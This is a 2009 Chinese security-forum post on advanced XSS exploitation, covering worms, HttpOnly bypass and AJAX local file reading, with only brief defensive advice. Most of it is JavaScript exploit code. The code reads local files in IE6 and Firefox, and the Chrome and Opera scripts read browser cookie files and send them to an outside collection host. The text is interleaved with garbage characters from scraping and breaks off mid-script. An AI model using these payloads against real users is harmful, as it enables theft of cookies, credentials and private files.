XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页) M j( {; P0 c' ~+ ~" j, q, R
本帖最后由 racle 于 2009-5-30 09:19 编辑 9 G3 f' {0 g! j1 K2 a
0 F" A% S/ B1 c/ F8 O3 fXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
# G* ^! [/ d5 _0 J5 r1 tBy racle@tian6.com
9 R2 N% W1 X3 U4 Ohttp://bbs.tian6.com/thread-12711-1-1.html
. h1 g1 K, H& Y转帖请保留版权
" O5 F% P5 m# y% r9 E: w' y3 i9 Q2 N- C
8 b( ?2 l1 k1 {' n: z. I% [+ ~5 {( }3 q5 Y7 `
* |) x9 |* t r
-------------------------------------------前言---------------------------------------------------------
. c' _3 K) k0 o8 K6 k6 M
0 R8 |$ B5 \, o, ?& n" b/ T6 R5 \3 I# V; I- {0 N* s
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.8 E( O& m: r) {2 n
; `, x: i5 t f, ?( @; A0 r% i$ v. o1 M
如果你还未具备基础XSS知识,以下几个文章建议拜读: F( H- c6 @2 c; w- W! V1 X- T
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
% u2 m# V9 t% \http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
( s1 a9 L) d$ a4 Thttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
% K/ h7 _1 e( D0 whttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
# U' h# Z4 Z! n# d; \1 Ghttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
& E3 B/ [# ?. X0 Shttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
/ R: o5 o4 \2 ~& K2 e" k2 P! G& Z; N" Q: [
3 ~7 f/ d5 X3 Q
3 x% `. @7 V+ c G7 e( ? m8 x9 J4 U0 D* e; Q
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
& l0 h. K' O" z) Y, G/ i9 t" c9 R, S h3 I
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
3 j% H- S2 g% r
+ h/ h4 D: _$ ]* I7 Q如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,, a+ Z& x6 z. M0 M7 H
3 r8 W) g% M5 ]+ n: n
Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
4 [5 f% s$ y- W7 L+ {; ?) \& G! t% J, y8 {
QQ ZONE,校内网XSS 感染过万QQ ZONE.
. n! ~0 O: O5 E5 m; L" n( H& L" s9 N5 q x" \
OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪: C6 L A0 ^$ F( q) @: q" k- N
3 R5 d, f. |- _. x0 U: T% S
..........$ Z. c7 i) n) n: m) V7 ?+ c& F5 ~
复制代码------------------------------------------介绍-------------------------------------------------------------
+ k/ Y3 p0 F j$ E7 ~$ D; R( {" _+ n, A! N' \; |$ t# b
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.* C, S1 t( d1 L4 U! G, y' A
9 Q: B7 e5 B. G+ x. _! N9 n* @; `+ ~1 q3 P. L# `) a" f* L5 R
4 \# q+ L5 y& \- l; H9 q& w5 ]) J
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
+ n% _3 g& k0 V0 A, t
" R" t" }6 r; o; z# _
+ }' U- T6 P, W J- o4 s5 C1 K; ?
, U- c' ?; D( h3 W* X如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
' s$ p( A' O" `- k0 o, _) X' H" g复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.% r; @% D0 f3 [2 {; h' P: e% y; V
我们在这里重点探讨以下几个问题:# {4 Z4 c2 s% b3 X' |) v
2 b- o$ z' Y5 g. Q8 Z* \, ?8 U1 通过XSS,我们能实现什么?
- m& ?; M- E9 Y+ F" j
5 i0 l0 e- e4 v2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?! |- k" p+ L$ X; m& |
) V( o% q0 H! ^8 N5 p/ A; U6 p3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
4 ]/ u/ O( a% g$ \; a1 o0 L( `0 t
. X6 [: t. w8 b$ I$ _ t4 XSS漏洞在输出和输入两个方面怎么才能避免.
6 u7 a; K2 H4 `/ P* K' ?& X0 I6 d6 i1 q1 Y! Q" P3 ?7 S0 v
) X, K- O1 ^/ a4 W
' U- @! j' k4 a- E& s" ^------------------------------------------研究正题----------------------------------------------------------
! E; v% i- `! t. d( [
0 Z. P3 r1 O; r: M' \4 d7 O7 G9 v- i: W8 [0 D/ X
; @' v$ B2 C$ T4 L% E/ D
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.6 w/ s1 B& s7 C1 u3 O
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
+ t. N& j( u0 G$ z- [复制代码XSS漏洞在输出和输入两个方面怎么才能避免.) y; h7 W( z3 r0 P! ?6 o8 u' {
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.3 S0 g) s4 O: S) y0 y. e
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.' `4 N" I2 u5 z1 d- m2 ~
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.. U, f4 j7 n! G% Z( C
4:Http-only可以采用作为COOKIES保护方式之一.
& Y( A" i# B9 B# W- d
& a/ ^5 G4 S0 z( P" Q5 Z% W3 t+ a/ ^' L; Z
5 ^( s* c- T8 s+ n% W% @5 K
1 V4 ]7 G' \3 u$ p- g+ r1 E9 q7 O6 ?
(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
3 \- @" r3 Q, m- ~+ _. J# C- u" T4 Y+ t' s
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
- Y8 l. d2 ?0 m. M3 p# K
/ y( @3 t4 e2 A1 i$ C* Z" Y% D! _" [
4 T$ m. @- H, g4 X E$ L$ G% ~
2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。2 i" d% D7 g s0 G; Z- J: X. ?3 X
. Y/ M4 G) l: g7 [( a( u4 p, A
: `8 Y1 `& k v) v
: H) m0 E( c& Y$ n8 d# g 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
+ n# _+ h" v3 s9 m8 m( g
2 Q% v) h4 H: Z2 l5 D% O3 K
6 O, d+ @& a' [1 a) a' \* v4 j' D U- L0 _2 M1 r8 E
4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.% b! C1 k1 M" @, v) [0 P
复制代码IE6使用ajax读取本地文件 <script>* d& r$ i" Q" n# F1 E( }- p( C
& Q' X) t) k4 N/ E6 P; I( ~ function $(x){return document.getElementById(x)}
$ \0 M# K5 _. f( I1 K9 O
2 T; h3 |% t) V. Y/ q, [" O& k6 _, n& W. z+ `* ~
: b- |( }* e" o& P
function ajax_obj(){- E! c2 S# v; X- O/ T
! Q( h/ `- S1 Q var request = false;, [& J. [8 q( }2 Q9 i- l8 \8 R7 W
8 m4 m4 b2 n" ]# C8 ?
if(window.XMLHttpRequest) {
0 F+ k2 ^) I9 h0 ?( Z3 ~ E; `6 h( q% a
request = new XMLHttpRequest();
* N2 E8 K7 m. d3 Z2 x' A
2 V& S9 X3 G* p } else if(window.ActiveXObject) {6 T2 D1 ?5 G [! i+ Q5 n9 ]
! ~7 J7 h: j& U' u6 b$ Q' x8 U
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',& T- u: K8 a8 x+ v9 G
' i* @* p- n3 B+ |5 I8 ?" Y
1 G- K& r1 p: o; q5 f1 ]) M
4 g+ Y+ H: K0 ?6 l3 Z 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
* o( Y. }( J! A D8 E
D; U: e: z1 A6 \7 u0 D for(var i=0; i<versions.length; i++) {
% R, e+ x5 ~! A/ {0 s; e
& Y/ y1 f0 D* U3 c try {
/ J, M8 h; D. h2 Q2 e" ~- I
4 }4 S% Q6 E) G, d, S. x request = new ActiveXObject(versions);- M3 y5 a$ @" {9 _7 }' _6 f
4 b' f0 p" ]8 e. [
} catch(e) {}* D% W2 l3 c3 i# O
4 v K9 x5 _* o% t* O1 y- P }* ~/ `. J& ~2 _& i/ Z4 j
5 ?( r- E( h7 k; x1 Q0 k }
6 |4 v( q' [3 b: k& S8 {
( c* o9 y. R. P4 ? q return request;5 e7 D* l! p' j& A" }& f
# @' V. O1 s8 J5 g0 u" w
}! o3 L9 q! r$ u) z9 @& B& E
( H+ J G4 u9 U6 O; E var _x = ajax_obj();
& Y0 ^6 X, L! l0 \* [0 O y0 \
: c: s( r8 `# d9 I; o function _7or3(_m,action,argv){
; s3 R6 S A/ c0 F: E+ H4 I" n% k, t: M, y
_x.open(_m,action,false);+ w k% w, k( P) L' i
0 A/ a3 `5 l n4 v4 w- E
if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");& n, y$ h( z) |
. I% W4 ?( ?( n! k* `5 ?
_x.send(argv);, T3 E: @% e3 {+ n# x' [% Y+ f/ {
$ k. Z) @. E/ V" p/ o; s1 f$ B3 K1 x
return _x.responseText;1 c; E% B# D* B- x6 H
; m) F( `; P( D6 ` p }" |3 L3 X2 t7 n8 [3 M6 r
- ~* @/ M! q) c" V: \
h8 b$ q t# N6 F- \' e, I/ S* @- Z; z. l7 t: z
var txt=_7or3("GET","file://localhost/C:/11.txt",null);
! N& y$ m& a9 r0 j$ u! ~
* Q; I$ L. b% | alert(txt);) l2 ?2 i" y& O+ m
1 X0 d& c2 G# \; e
" K2 y; T- b/ `6 G9 O
+ H! q& a8 z: L </script>
) F$ |" j" U9 m& ?复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>1 z) X0 J5 r" W* D
$ `( ~; z6 W8 I P9 B5 K4 X3 @
function $(x){return document.getElementById(x)}: c2 A( t* C9 z9 {
+ y, I0 h, h$ T
4 T9 T/ M5 E& }3 p" L' v! ~7 E* @
( S) w; I3 w5 @6 ^2 Q- D7 P function ajax_obj(){6 {' E% u) q+ c5 e* I: u: A! _
' m( B3 t1 C" J& q9 j4 n var request = false;; n+ g9 p z/ c' ]% o( l
$ E% I. A/ d4 A
if(window.XMLHttpRequest) {
% ^7 n! O0 v1 J* w e) ` G4 o& ^, L1 ]: M$ Q
request = new XMLHttpRequest();0 }) h3 o/ o0 g( Q
3 ^+ e" b5 R, T' o# l* { } else if(window.ActiveXObject) {
/ o* d- q5 x9 E
5 p% p7 x+ g8 S4 B7 ?( o) _! r, B f var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
6 r3 @6 X% U3 V$ k1 w% P( p7 F7 p" t% _0 ~3 I2 d) k. f! S2 T3 v% s
Y" d1 q$ D6 g z9 {
9 I6 e. ~8 `- s2 [( A
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
4 H, T; F/ d0 x7 V* r5 O; o0 t) n$ j2 j' {+ M) d
for(var i=0; i<versions.length; i++) {
: D6 d% b4 Q- Y6 t& R. w/ U
, i1 {% f2 l! n" O6 R try {9 w2 E% L" c, ]% v
+ ]8 E [( i- H( a! j0 W
request = new ActiveXObject(versions);
$ `, C6 n/ y9 z4 X
0 z' _( ]3 f) Q; k( g+ m L } catch(e) {}
9 B% S+ R/ _/ k2 f% t f4 c5 [% Z! R) E+ y2 ]& i$ E ^
}/ H6 N& Z5 c6 {3 [: e! G. K
( f7 P6 g/ W+ Q* M7 R* h! A/ S( H
}, @6 Y T, ?5 p u- \* I
1 [4 G4 U3 B4 u! ^. ~9 Y, z return request;
* T3 F3 N4 l: d, N+ ~7 g% w4 B) B9 S
5 w; F' z% a& ~# w1 R0 e" t }
" h7 |7 K8 j' Y% n5 c. l6 M2 ^ v/ ]( u6 [
var _x = ajax_obj();
0 T4 X1 o/ O' o; q4 |5 X) u& D- l t _; S3 D* b4 s
function _7or3(_m,action,argv){
. S4 j: R7 ?" y4 C* H% f F) D8 e9 ^9 j7 F
_x.open(_m,action,false);; Q: n% e& g2 q: F6 t$ W& e
8 Y' c8 C3 K) A/ F. ^ if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ l( Q/ L9 h2 V
; I2 A/ y4 {, w3 X d% y _x.send(argv);
# n( w* g3 d/ K/ a8 T. D' B( o/ H Z n u- }; l9 u
return _x.responseText;
5 Q% i. p3 v6 ] z; N8 E; R, f; E5 g! z( C s
}& M, ~4 N0 ~+ e$ i5 ~! l5 C& o" E
7 y/ Y9 a4 i7 J) _& r. c$ y
! K" r% `2 I& k1 I. j
- [3 c0 v8 N" g/ G
var txt=_7or3("GET","1/11.txt",null);5 E9 q- e" h& n+ _6 v
4 T% i( |. m# k, V0 E# Y- ]# V alert(txt);$ N1 H6 h# H( S a6 u+ o L% m0 h
) p, b* P' O/ \$ @6 Z% p5 `
' u4 O/ y# U& c- |' o5 {. H' v5 c/ l: z+ K/ `/ v$ }) p
</script>
R7 Q7 [. [6 I$ S3 G复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”% w9 l& Y, [2 v
* S% C7 U5 d2 ^/ I& ^
' j8 A( S& J( h/ m2 c* D/ W7 q3 q4 U& [8 U5 j
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"& P; O1 ? d7 V% X& e0 a
3 D! e& W; Q* M
) X' T4 V/ P8 A' A; k3 @+ j
" i/ ~0 i1 {- l# P* N<?
! K0 F; O- r" c1 ]1 I) D. ~1 |# z7 B
7 S) M6 c3 L5 b; _7 I/* & _, ~) g6 Z5 s; g, O+ T2 X5 d( z
" F( u* v5 f- Q6 d7 W* b1 m
Chrome 1.0.154.53 use ajax read local txt file and upload exp
5 u3 m) M' ^, v/ C2 {; ]' I: d7 ?/ g6 j9 s' }2 R8 ^
www.inbreak.net 5 R7 c0 h8 w% Y/ W
3 L8 }& k! w4 d. B) U" M author voidloafer@gmail.com 2009-4-22
0 c! T% K+ ?. W$ I+ j# ^6 H2 ?; @1 C+ N% P) [+ Z, {! C
http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. , T+ e* Q! Z. ?: S. E
7 s& ^3 u) @2 j: a4 q& ~# {*/ 5 v" Y0 B2 l& X& n7 @
& @0 |& e' g2 i
header("Content-Disposition: attachment;filename=kxlzx.htm");
. J0 T$ t v/ T/ s+ l! G+ h6 v( P* c) X- m& b. Y
header("Content-type: application/kxlzx"); 7 M! @. x: `4 L+ u
4 j% p a$ i1 L& v: X! r# s) ]/*
2 ^ g+ I2 r- o+ {9 N, D* }* E2 S5 M; O/ ~6 z
set header, so just download html file,and open it at local. $ G1 s, i: M: R2 q( w9 E+ K1 }) ?4 e ^
. B& I5 q3 G9 ]! q' G
*/
. y! L, h8 f% z7 x! L# Q" i _
: o7 ~2 |. r1 l3 y8 M% F/ I?> 7 v; r) v5 ?+ Q; G# q9 J
* B6 e( {3 ]' p( q! t<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> ' _1 \: D9 N ^
8 T0 d, [# T4 t# g: F
<input id="input" name="cookie" value="" type="hidden"> 9 x9 P5 D% D: w: y, Q
, L3 S2 \' a& `' j; {( X
</form>
4 X( |' e2 E8 P- i1 [$ m, h& P
- n+ ~6 c2 H4 v/ P4 J; B; Y<script>
; N# M, Y/ B7 i. A: r# o4 q6 P: K8 O1 i( C" P% c
function doMyAjax(user) 0 i+ l7 z i/ q4 E& v2 N8 `" d7 r
0 [$ s) j& A" D3 l9 j h1 _7 i
{
' l0 m A9 {0 K+ D: v$ Z' h- n4 B3 `. ~
var time = Math.random(); : G7 B: U5 \$ g
1 J& R" H2 y& e+ N
/* : E: G7 {# ~1 r9 P- U; p6 K; a7 S
& a1 L5 [" J0 w4 q; y$ m- n; @the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
+ B1 P0 [1 a( z& _* t6 P% M- f: s
* M8 |; z' u' Y+ E7 jand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History ! u; b: F( w0 A7 Y$ i, c; E9 E* r
' Q2 A1 }2 ^+ I. G) Oand so on... F8 e; x- I5 W5 [6 u8 w
m4 ?/ Q: Q; | p8 u
*/
y e' H: y7 I+ B
# r# `" o) U2 jvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
3 P/ y3 z+ C8 I3 h" T
7 n8 v& D& x' \" W7 } & W3 S7 @( Z8 u7 f, D" i. p
8 D6 T. p+ T- S& x: tstartRequest(strPer); : K1 @" I$ E' Z1 V8 M
- A! `! n, G1 F+ R& Y0 I# @) d' E8 T" Y( P, a* G( A) K
" v! l1 q U( S; a: \. H6 T}
* O% L7 U, r- s8 {( o3 S( x; R4 \4 P
9 ~5 e$ A1 `, k3 J3 N$ N4 v' p$ i' n& f, V$ Y. D. Y- t# j# e
function Enshellcode(txt)
J% k I& e, F, Q; ^3 p. r! B# J+ C1 ]! [& V: m1 Y
{ * r K4 F! d+ G( |8 b
0 d" }, O+ g! q1 Q5 \) N# pvar url=new String(txt);
2 L6 g4 r, [9 _& n b- D F1 X& u% A
var i=0,l=0,k=0,curl="";
" n% J6 j3 M2 e5 X4 M, }
8 o% c* r- O( C. V9 Hl= url.length; ' S5 P+ ?* r7 m/ M1 D9 {' H
8 ~; F$ x+ f8 r7 b# Mfor(;i<l;i++){
0 I9 n# E! G2 I& c$ I' E! l! v) J3 [ S8 F) O- Q
k=url.charCodeAt(i);
% n, q6 u) |" j0 k9 E. I6 q
( }) R7 z: {. V+ {4 A# ?. Rif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
' e4 e; m* c" T1 Y& f* q
- y1 J3 F4 l0 e+ w5 `) e% n/ {, Dif (l%2){curl+="00";}else{curl+="0000";}
# B; N+ b/ _0 B8 v8 x
4 b+ Q5 {* p& C% qcurl=curl.replace(/(..)(..)/g,"%u$2$1"); 8 J( ?8 G( }* M3 U- N/ Q6 z
; j+ X* A/ y* {1 o: m2 q
return curl; 2 D: \: N2 {6 }4 s4 [1 J2 j
4 S: s. e- H% O; p} % l5 T! ^; T$ d6 x' t
1 c& T/ m$ H" y3 P
/ @' E# v+ ]1 a( r5 \7 v1 Y9 K k1 `5 R" p
z$ W6 T$ [% e# D- s: ~0 w! k
7 A/ z' p1 [7 C' Yvar xmlHttp;
4 M, G! u' x: R9 \
. B' i* e) j5 I0 z& dfunction createXMLHttp(){
- h( n) _0 ]( _1 v% l: J4 ~) ^* ^$ z& j8 ]! }' u& `* r
if(window.XMLHttpRequest){
, t6 s5 i5 r! g8 a( u; K2 M
* }1 I! f" i0 ? I7 l, ?0 x( gxmlHttp = new XMLHttpRequest();
4 s1 a: A( G# Y5 ]# S( {0 x& y
} ! S- ]6 Y1 i: ]) h! k4 w" r
) E- ^" R; C4 ?
else if(window.ActiveXObject){
% E& d m4 k# H4 V
Y1 b* f- P8 P, fxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
) J8 R! B9 b/ f) Y# i
4 c) W0 b% Z( F+ M% G2 J' Z+ ~ k }
% U& n2 D8 I2 {7 _0 Q. H+ }" ~! W5 s/ ^5 D
}
( {, M) u- K s9 [3 S
1 Q. N( v; Z, C$ N: f
8 f3 j( G; }5 L* b z) x- v5 Y9 x7 v4 f+ O
function startRequest(doUrl){
/ e% Z0 ?9 t3 M4 M
) G8 _+ O6 p' ]5 G4 R* A1 X ' q" n" D6 {6 x4 q/ R9 B
, s- q8 j9 K% e% ^2 o
createXMLHttp(); - {! }) q/ A! e( i# j8 O
7 B5 X% [/ t, d0 f, g& b2 a# S' {& x! H a+ p! ~: I" |) |9 b5 A
1 `2 c: |3 m8 [; I7 e$ b* B xmlHttp.onreadystatechange = handleStateChange; - f* L9 F* H( t z) I1 B
; h( Q' R! h9 X. A" |, \+ s
B& s5 z# u3 o( Z* ?2 @' Z& l$ b2 X! s+ J# F1 u
xmlHttp.open("GET", doUrl, true);
/ e5 S$ W& N: ^5 h- h1 a* B3 u+ V3 p7 Y' @9 O* h. Q
2 c. m; o; \. x" L
8 J& I" O- k( h
xmlHttp.send(null); ) R8 S4 |4 {1 c6 N- l, s
9 D; t) v' m, C, l; G6 u" b! c
3 R" E0 I+ Z/ t! N+ r+ X! B
& J, K, O, W4 o t# O
0 r# Z" j2 {& `9 ^; Z& U: b& X+ w: [! l, J" W5 r
} : ~, ]- b' a( }7 E+ \' G5 P
9 K: Y6 m# ^' h' V8 c& F/ D
1 ]( F* r7 a0 O- c
6 I$ G" Y" Z4 Q9 D$ s7 O0 O& ufunction handleStateChange(){ # B: G9 }; k0 A
" s2 U- o2 ?6 l8 o, M- @
if (xmlHttp.readyState == 4 ){ ( X U$ ~7 x: f1 d# Q
% m* A8 |3 O. s6 ^1 F var strResponse = "";
( i0 k, r6 F0 N9 a' Y0 r, F- L) j. c4 \* ?; d R3 S) j: X
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 9 n v: V1 T- `- U
& O1 O8 g* ]9 b* I# Y: l" z
6 O+ G7 `7 t4 ~' D
7 j4 D/ t( P* c! T$ T* H+ T/ ~* k+ z }
/ d1 }! l; K. i4 E( w4 e/ X1 K# E4 z6 x" a( k* |& d
}
& z: q9 ?. z9 Q: v8 x) C
& E0 A6 t# t) z+ i
5 X/ g1 g; z' G8 O1 m$ R' g) C5 `- R2 w: Z
% m i. e. k# W: }* \) @
! Y' d- U2 q4 p0 E
function framekxlzxPost(text) . `& O$ O: J! J! ~
4 i! s1 K; [( W/ Z+ B5 }5 @
{
7 n7 F' q1 p4 x0 I/ C1 P* t9 m% f2 y' ]6 J' n3 r+ W
document.getElementById("input").value = Enshellcode(text); ' G- \7 [! R) a- x
5 B- H- O% L4 T. i3 Q7 f$ Y
document.getElementById("form").submit();
# Z+ l* x- j& e6 F* g
7 }5 ?- P. ~ J# [} 0 ~5 \( D- Z4 ?' }' g! Y! Q1 L
0 Y+ T. _' l- q. [ ! X+ @' M, m1 s* D" A$ x
8 h: N4 S, p/ x9 {doMyAjax("administrator");
H/ Y* R) Q% ?; q, x% H/ P+ O6 |6 U5 R
3 g& [' E0 M/ t; _# _) W8 E. U# Z+ B1 a
5 G. a! ?# r. B& D) x</script>% h, L% Q, C. p, W! ~* l0 M1 |
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
0 S4 `1 a7 b+ n3 a Q/ ?# u
2 \' B# b1 ^9 W1 ivar xmlHttp;
4 n+ ~: I, \: L
1 I5 }7 Y2 u. Q2 J( w$ Z- yfunction createXMLHttp(){
7 u% x1 }5 U% H3 G, n- B1 V. a# U, S. l4 n7 ]
if(window.XMLHttpRequest){ " ^( S# |4 T' m3 Z+ ^$ H# t/ Q
" v. |0 B' c" x( @ s" j xmlHttp = new XMLHttpRequest(); $ h P5 x1 j4 s" [
. x0 o+ t5 K/ f ] } * `; p+ U) T% j6 L
' C$ P' m1 s- x( V" ^/ C1 c; e$ t& z% S) S else if(window.ActiveXObject){ 5 Z. Q# b1 x1 w( C& @2 l/ d: {
% n0 u' q( A4 o+ y" ` xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ) {9 {2 J# r9 q2 m
! q5 o% P; g% o) j }
( ~! P) M6 ^$ S
4 j: l" [% b) r* J}
, N! Z! J2 o. _* v2 P4 H
' F" e C [3 ^. H7 H$ Y! x 5 D& J! _" m. Q% |0 |! J9 U7 h
9 g# D5 m! V/ I& k- _
function startRequest(doUrl){ , l" f) v2 w2 x' H/ y2 Q% l; A; ?
, j$ i! E o( k! `3 o5 l
% p. Z7 |" Q! h4 v+ P1 p) C/ c1 N8 C
, D" y5 g7 [8 D! \ createXMLHttp();
% v3 ?3 r; Y9 z- c1 s# g. Y- G! I$ w$ A3 N& ]
0 Y2 W" u! a# ^8 L+ b% j
9 f- i0 T9 n/ z* U xmlHttp.onreadystatechange = handleStateChange; ; Y* N. O( n) M
9 c* M' u( A) A: l% c! `
$ s2 b5 M! e, E3 V, O' e5 o
1 w2 e; U' i+ m( B) j xmlHttp.open("GET", doUrl, true); 5 F- N7 H+ F7 z3 H' O' u5 R
7 V4 w5 Q/ r* D
; \6 y3 F* t: R5 i! E" s, F1 r' O' b7 J7 ?/ S3 W2 X2 V
xmlHttp.send(null);
) ~: d' f- Z2 R4 h/ \- j1 o) [' r4 |/ n3 j& D
: e6 i- j% o. P& v3 n4 F# o- L
1 H7 u* g+ P/ m
7 [/ h0 j: n4 L7 d4 H+ r2 y
( O# o0 c6 T! x}
6 {- o- c1 U! R6 m+ x T1 q- W
: G- r" B0 Z8 Z7 b* x* T* o
# e8 T) {: w6 F% v. E+ g
7 ]8 z, m5 f- s1 {function handleStateChange(){ ! g( s! A' N4 x" W7 C- V
) e1 n* \2 O4 _& G b+ n& | if (xmlHttp.readyState == 4 ){
. Z* G5 T; N4 R8 I- |6 |8 t
+ c$ |5 x4 `2 G' Y; u9 s var strResponse = ""; 1 z* w6 Z* B/ I* ]
4 t1 o# y! ?8 {( V2 d# p setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
8 w6 p7 _: A6 A \& ]/ [2 T
2 J, f9 a' R5 G) M: A8 k, s , m4 M% Z+ R. X+ S; p
: l4 Y/ H6 F, v x) J' n
}
3 g* g, w/ _+ G/ |( ^2 ~8 p" l) U, E$ U; U& k) `9 Z
} ( Q% E3 \+ E1 A4 N c
0 R$ D1 u; _7 @' R: b. Y " z$ K8 ~6 Z) L ~ _; U% N( Q
& [4 Z4 q5 k W2 f# n1 _
function doMyAjax(user,file)
1 m9 k& m1 a1 Z' k/ K! N W; M" M9 c4 c0 _5 {6 O) W" R# E1 ]2 Q
{ ) ]8 X: F9 ~/ G3 ?0 I" g o
8 x( l' F! x U9 o, @ var time = Math.random(); ' j) M# x6 e O9 l. C" f5 N8 a* N
^9 p0 e! Q- a+ y! o5 y
6 @" C! l( J; F# ~
2 e! l Z/ v3 a' x% G, K; W6 x var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; 4 n; ^4 D& [2 ^' U. {7 c( r5 Z
! [7 r. ^, D& O: r2 F$ l
6 V1 n7 i9 P3 `" l2 M5 ]( _
9 l, U8 U( s* }8 {9 } startRequest(strPer); 3 G7 R: ^! _/ U- T/ {$ }' ~
( n" y9 z, c5 s0 d# } & i$ F `: ]7 Z8 j9 K2 J1 S9 c
, R, X; S* }' C" c8 @
}
- ^1 W* [! s. `$ A, V* ?; i9 T3 w* E* k: C
1 c4 E# Y) |: r5 f$ x- Z" B* u& t- ]% |# Y7 P
function framekxlzxPost(text)
! k8 i r6 x! _! S, l1 {/ W* b
& T5 P. g' H% }- G- Y6 [{
0 e2 p! W# N3 {8 K
" j( {$ {5 _! i c document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
0 b0 H. v! M; d5 N: Q9 @
